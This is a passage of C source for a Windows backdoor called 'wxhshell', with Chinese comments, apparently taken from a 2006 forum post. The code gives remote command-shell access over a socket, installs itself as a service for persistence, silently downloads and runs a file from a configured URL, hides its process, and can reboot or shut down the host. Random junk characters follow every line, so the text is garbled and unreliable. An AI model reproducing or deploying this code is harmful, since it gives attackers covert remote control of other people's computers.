  Ks.b).fH  
  // 帮助 Sz0PZtJ  
  case '?': { -@N-i$!;J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  S!?T0c?>  
    break; ^to*ET{0  
  } tJ(xeb  
  // 安装 R~g|w4a@sC  
  case 'i': { LHY7_"u#  
    if(Install()) Myc-lCE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m212 gc0u  
    else >G`p T#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \[G'cE  
    break; 2!%)_<  
    } 5IU!BQU  
  // 卸载 YIe1AF}   
  case 'r': { H!;N0",]N  
    if(Uninstall()) #BRIp(65-6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N#u'SGTG  
    else 0,hs %x>v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U%vTmdOY  
    break; <'=!f6Wh  
    } 971=OEyq*  
  // 显示 wxhshell 所在路径 \,;glY=M!  
  case 'p': { NO5k1/-  
    char svExeFile[MAX_PATH]; *BKD5EwS  
    strcpy(svExeFile,"\n\r"); {K|?i9K  
      strcat(svExeFile,ExeFile); N'b GL%  
        send(wsh,svExeFile,strlen(svExeFile),0); 1H-Wk  
    break; hDXTC_^s  
    } *;Kp"j  
  // 重启 k^7!iOK2  
  case 'b': { W?Z>g"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >DRxF5b{  
    if(Boot(REBOOT)) @5Tl84@Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \;7U:Y$v  
    else { Cmx<>7fN  
    closesocket(wsh); nlv,j&  
    ExitThread(0); S}C[  
    } 6mcb'hy  
    break; QSaDa@OV  
    } JC'3x9_<z  
  // 关机 y [McdlH m  
  case 'd': { p[4 +`8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2$JZ(qnN  
    if(Boot(SHUTDOWN)) 19fa7E<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EZ!! V~  
    else { =1[_#Moc6  
    closesocket(wsh); Zfs-M)  
    ExitThread(0); GgxPpS<ne  
    } O>)eir7  
    break; `}Y)l:G*g  
    } aR2N,<Cp5  
  // 获取shell 6 lzjaW5h  
  case 's': { nWK8.&{.  
    CmdShell(wsh);  ~&~4{  
    closesocket(wsh); ..yV=idI  
    ExitThread(0); 2P:X_:`~[  
    break; jt oS{B,  
  } _qB ._  
  // 退出 rl.K{Uad  
  case 'x': { U)dcemQY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1ZF KLI`V  
    CloseIt(wsh); @,<jPR.  
    break; 2D!jVr!  
    } fV+a0=Z  
  // 离开 >FE8CH!W&  
  case 'q': { &l cfX\y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7c_2.T@4  
    closesocket(wsh); |ts0j/A]Pi  
    WSACleanup(); 2wpJ)t*PF  
    exit(1); P 0\`4Cr!  
    break; X&[Zk5DU*  
        } U_VP\ 03  
  } !v2/sq$G  
  } pnu?=.O  
D@p{EH  
  // 提示信息 |}{gE=]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O#.YTTj  
} TJYhgna  
  } +1#oVl!  
8`S1E0s  
  return; KS#A*BRQ  
} ~j{c9EDT|  
Zf>:h   
// shell模块句柄 4!14: mq  
int CmdShell(SOCKET sock) l|+$4 Nb2  
{ 2lfEJw($  
STARTUPINFO si; $mK;{9Z  
ZeroMemory(&si,sizeof(si)); T=/c0#Q|q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H%vgPQ8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E3a^"V3p  
PROCESS_INFORMATION ProcessInfo; =WUNBav  
char cmdline[]="cmd"; 7zzFM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `[$>S  
  return 0; PM!JjMeQh  
} xw{K,; WeO  
8nZ_.  
// 自身启动模式 S.[L?uE~F  
int StartFromService(void) $@s-OQ}  
{ O-.G("  
typedef struct K!AA4!eUzM  
{ tJ\v>s-f  
  DWORD ExitStatus; E6R\ DM  
  DWORD PebBaseAddress; 6  _V1s1F  
  DWORD AffinityMask; 5222"yn"c  
  DWORD BasePriority; p+ReQ.5|  
  ULONG UniqueProcessId; xrXfZ>$5bM  
  ULONG InheritedFromUniqueProcessId; fP 3eR>e  
}   PROCESS_BASIC_INFORMATION; N[-$*F,:_  
9e.v[K~  
PROCNTQSIP NtQueryInformationProcess; W $mw9  
J>+\a1{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N G vb]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G_qt~U  
)" Z|x  
  HANDLE             hProcess; ]w,|WZm  
  PROCESS_BASIC_INFORMATION pbi; [ Y{  
Zqf ovG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'b"7Lzp2  
  if(NULL == hInst ) return 0; uzb|yV'B  
n4B uM R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UdcV<#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~233{vh$=>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wm}T=L`  
'ahz@+l O  
  if (!NtQueryInformationProcess) return 0; }s"].Xm^2  
yzl}!& E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XL44pE m  
  if(!hProcess) return 0; toU<InN  
?.-+U~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2^=.f?_YR  
4Q1R:Ra  
  CloseHandle(hProcess); "Q\b6 7Ch  
FWp ?l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Piw i  
if(hProcess==NULL) return 0; OrL4G `O  
M @G\b^"  
HMODULE hMod; =eS?`|  
char procName[255]; vqVwo\oEdU  
unsigned long cbNeeded; Kv:.bHN}  
pI.8Ip_r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u^i3@JuX  
![4_K':=  
  CloseHandle(hProcess); OaT]2o  
}fef*>>}  
if(strstr(procName,"services")) return 1; // 以服务启动 5zZQt +Ip  
BhjDyB  
  return 0; // 注册表启动 BaUuDo/ZO  
} Q t>|TGz  
uK#2vgT  
// 主模块 u] G  
int StartWxhshell(LPSTR lpCmdLine) `SZ-o{  
{ r? }|W2^%  
  SOCKET wsl; eA``fpr  
BOOL val=TRUE; ePR9r}  
  int port=0; j4`+RS+q  
  struct sockaddr_in door; B>I :KGkV  
_d^d1Q}V  
  if(wscfg.ws_autoins) Install(); +BhJske  
S{)K_x  
port=atoi(lpCmdLine); <gFisc/#r  
&Cm]*$?  
if(port<=0) port=wscfg.ws_port; " &`>+Yw  
m;1/+qs0  
  WSADATA data;  V_e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RU/SJ1wM"  
I#]pk!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6f t6;*,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >Y\?v-^~;  
  door.sin_family = AF_INET; OwNo$b]h`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @.)[U:N  
  door.sin_port = htons(port); tv~Y5e&8  
zTPNQ0=|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o9C# 5%9  
closesocket(wsl); /C <p^#g9.  
return 1; @w(|d<5l:L  
} 1*6xFn  
9&6P,ts%Q  
  if(listen(wsl,2) == INVALID_SOCKET) { wZJbI[r  
closesocket(wsl); k=d0%} `M(  
return 1; %\}5u[V  
} AOwmPHEL  
  Wxhshell(wsl); IAN={";p  
  WSACleanup(); ([^f1;ncm  
[}l 90lP  
return 0; FJKlqM5]  
Jf#-OlEQ  
} 0V86]zSo  
_I3v"d  
// 以NT服务方式启动 (u='&ka  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Lm<WT*@  
{ o=Mm=;H  
DWORD   status = 0; D dCcsYm,  
  DWORD   specificError = 0xfffffff; *XYp~b  
darbL_1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5}! 36SO\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r1}1lJ>7H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h qhX  
  serviceStatus.dwWin32ExitCode     = 0; 2 J3/Eu  
  serviceStatus.dwServiceSpecificExitCode = 0; i]4nYYS  
  serviceStatus.dwCheckPoint       = 0; ~J5B?@2hK  
  serviceStatus.dwWaitHint       = 0; C(z 'oi:f  
IDpx_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b5KK0Jjk  
  if (hServiceStatusHandle==0) return; vSv1FZu*  
Br{(sL0e  
status = GetLastError(); p=kt+H&;  
  if (status!=NO_ERROR) Tdz#,]Q   
{ f/\S:x-B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :>_oOn[_  
    serviceStatus.dwCheckPoint       = 0; <$a-.C5  
    serviceStatus.dwWaitHint       = 0; Fq o h!F  
    serviceStatus.dwWin32ExitCode     = status; 1A#/70Mo  
    serviceStatus.dwServiceSpecificExitCode = specificError; fU$_5v4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "Y4glomR[  
    return; F?cwIE\J  
  } I36%oA  
5v`lCu]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %3"U|Za+   
  serviceStatus.dwCheckPoint       = 0; ?Pf#~U_  
  serviceStatus.dwWaitHint       = 0; bGy|T*@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L 8;H_:~_'  
} z}7}D !  
T (]*jaB  
// 处理NT服务事件,比如:启动、停止 AGjjhbGB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) guf*>qNr  
{ UWK|_RT6SA  
switch(fdwControl) C+%eT&OO  
{ T/ eX7p1  
case SERVICE_CONTROL_STOP: N^PkSf[)h5  
  serviceStatus.dwWin32ExitCode = 0; =VT\$ 5A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?U O aqcL  
  serviceStatus.dwCheckPoint   = 0; ]>*VEe}hJ  
  serviceStatus.dwWaitHint     = 0; "O|.e`C%^  
  { /0fHkj/J=B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q@ ;1{  
  } Oo FMOlb.Z  
  return; uqa pj("  
case SERVICE_CONTROL_PAUSE: '|) ,?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P{:Zxli0  
  break; 3;wiwN'  
case SERVICE_CONTROL_CONTINUE: cR,'aX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {.[EXMX  
  break; KhX)maQ  
case SERVICE_CONTROL_INTERROGATE: u2`j\ Vu  
  break; ~gOZ\jm}  
}; ocMTTVo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^6F, lS_t  
} @'GPZpbvZ  
~ qaT jSP  
// 标准应用程序主函数 V[]Pya|s+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) , /jHhKW  
{ @p}_"BHYWt  
-1NR]#P'  
// 获取操作系统版本 !<VP[%2L~  
OsIsNt=GetOsVer(); .J&89I]U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5} ur,0{  
<sM_zoprc  
  // 从命令行安装 U>bIQk"4  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'irwecd8  
BYHyqpP9  
  // 下载执行文件 WPlf8* -fQ  
if(wscfg.ws_downexe) { 4K dYiuz0`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o"z;k3(i$7  
  WinExec(wscfg.ws_filenam,SW_HIDE); m\/)m]wR  
} {Oq8A.daJ  
r!eW]M  
if(!OsIsNt) { So e2Gq  
// 如果时win9x,隐藏进程并且设置为注册表启动 N#)Klq87z  
HideProc(); { D|ST2:E  
StartWxhshell(lpCmdLine); `.3.n8V  
} IR:{{ (  
else P2iuB|B@  
  if(StartFromService()) ' S,g3  
  // 以服务方式启动 M"{*))O\-c  
  StartServiceCtrlDispatcher(DispatchTable); 0T#z"l<L  
else F2_'U' a  
  // 普通方式启动 <exyd6iI  
  StartWxhshell(lpCmdLine); "oFi+']*  
v*.iNA;&i  
return 0; c93 Ok|  
}
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只看该作者 1 发表于: 2006-10-10
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